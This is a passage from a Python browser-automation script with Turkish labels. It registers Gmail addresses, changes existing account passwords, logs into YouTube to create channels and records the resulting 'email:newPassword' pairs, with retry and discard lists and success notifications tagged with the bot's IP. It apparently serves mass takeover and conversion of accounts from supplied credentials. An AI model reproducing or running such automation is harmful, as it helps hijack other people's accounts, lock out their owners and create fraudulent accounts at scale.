1143 sc(1899,83)
1144 time.sleep(1)
1145 flag = whereIsGmail(randName)
1146 if(flag==1):
1147 gmail = registerGmail(randName, randSname, 1)
1148 goToEditSecond()
1149 text = getBody()
1150
1151 try:
1152 if(not "@gmail.com" in text):
1153 addToOzel(info)
1154 failC += 1
1155 endSession()
1156 continue
1157 except:
1158 pass
1159
1160 newPass = changeAccountInfo(password, newPass, text)
1161
1162 elif(flag==2):
1163 gmail = registerGmail(randName, randSname, 0)
1164
1165 goToEditSecond()
1166 text = getBody()
1167
1168 try:
1169 if(not "@gmail.com" in text):
1170 addToOzel(info)
1171 failC += 1
1172 endSession()
1173 continue
1174 except:
1175 pass
1176
1177 newPass = changeAccountInfo(password, newPass, text)
1178 elif(flag == 4):
1179 addToCop(info)
1180 failC += 1
1181 endSession()
1182 continue
1183 else:
1184 addToTekrar(info)
1185 endSession()
1186 continue
1187
1188 else:
1189 url = getUrl()
1190 if("mail/" in url
1191 or "inbox" in url):
1192 gmail = manuel(password, newPass)
1193 g = gmail.split(":")
1194 gmail = g[0]
1195 newPass = g[1]
1196 else:
1197 print("-----RAPOR EDILMELI!!!!")
1198 addToOzel(info)
1199 endSession()
1200 continue
1201
1202 time.sleep(5)
1203 pyautogui.hotkey('alt', 'f4')
1204 try:
1205 driver = setYoutubeDriver()
1206 loginYoutube(str(gmail), newPass)
1207 text = getBody()
1208 if not "The email and password" in text:
1209 createYoutube(str(gmail), newPass)
1210 info = str(gmail) + ":" + newPass
1211 addToGmail(info)
1212 sucC += 1
1213 endSession()
1214 continue
1215 except:
1216 try:
1217 addToTekrarYT(str(gmail)+":"+newPass+"\n")
1218 except:
1219 pass
1220 try:
1221 driver.close()
1222 except:
1223 pass
1224 try:
1225 info = str(gmail) + ":" + newPass
1226 addToGmail(info)
1227 except:
1228 pass
1229 sucC += 1
1230 endSession()
1231
1232 push("Youtube Ceviri", "Bot basari ile islemi bitirdi. IP: " + ip)
1233except Exception as e:
1234 push("Youtube Ceviri", "Bot hata verdi tekrar baslatilmali! IP: " + ip + "\nHata: " + str(e))
1235